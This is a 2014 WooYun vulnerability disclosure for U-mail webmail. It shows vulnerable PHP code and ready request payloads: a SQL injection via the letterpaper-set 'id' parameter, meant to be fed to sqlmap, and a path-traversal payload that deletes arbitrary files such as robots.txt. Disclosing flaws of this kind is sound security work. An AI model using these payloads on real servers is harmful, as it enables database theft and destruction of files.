当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-076089
漏洞标题：
U-mail一处SQL注入+任意文件删除
相关厂商：
U-mail
漏洞作者：
路人甲
提交时间：
2014-09-15 11:46
修复时间：
2014-12-14 11:48
公开时间：
2014-12-14 11:48
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
18
漏洞状态：
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-09-15： 细节已通知厂商并且等待厂商处理中
2014-09-20： 厂商已经确认，细节仅向厂商公开
2014-09-23： 细节向第三方安全合作伙伴开放
2014-11-14： 细节向核心白帽子及相关领域专家公开
2014-11-24： 细节向普通白帽子公开
2014-12-04： 细节向实习白帽子公开
2014-12-14： 细节向公众公开

简要描述：

U-mail一处SQL注入+任意文件删除

详细说明：

o_letterpaper.php
1.sql注入：

if ( ACTION == "letterpaper-set" )
{
    $url = make_link( "option", "view", "letterpaper" );
    $lp_id = gss( $_POST['id'] );
    ....
    if ( $lp_id )
    {
        $lp_info = $Widget->getone_letterpaper( "id=".$lp_id, "*", 0 );


没啥好分析的，直接上exp
http://mail.domain.com/webmail/client/option/index.php?module=operate&action=letterpaper-set
POSTdata：id=1
丢sqlmap即可跑出数据：

QQ20140915-1@2x.png

漏洞证明：

2.任意文件删除
o_letterpaper.php

if ( $res )
{
    if ( gss( $_POST['bgImgPath'] ) )
    {
        $imgname = $lp_id.".".fileext( $_POST['bgImgPath'] );
        if ( file_exists( ROOT."client/resource/images/letterpaper/".$imgname ) )
        {
            unlink( ROOT."client/resource/images/letterpaper/".$imgname );
        }


$res是恒存在的，所以直接看下面POST提交的bdImgPath变量，拼接imgname变量的2部分均完全可控，然后简单判断是否存在该文件，存在即删除，由此漏洞产生。
payload：
http://mail.domain.com/webmail/client/option/index.php?module=operate&action=letterpaper-set
POSTDATA：id=../../../../../robots&bgImgPath=.txt
以上payload删除的是robots.txt文件，若想删除别的文件，直接在id处构造文件名，在bdimgpath处构造后缀即可。

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2014-09-20 08:53

厂商回复：

最新状态：

暂无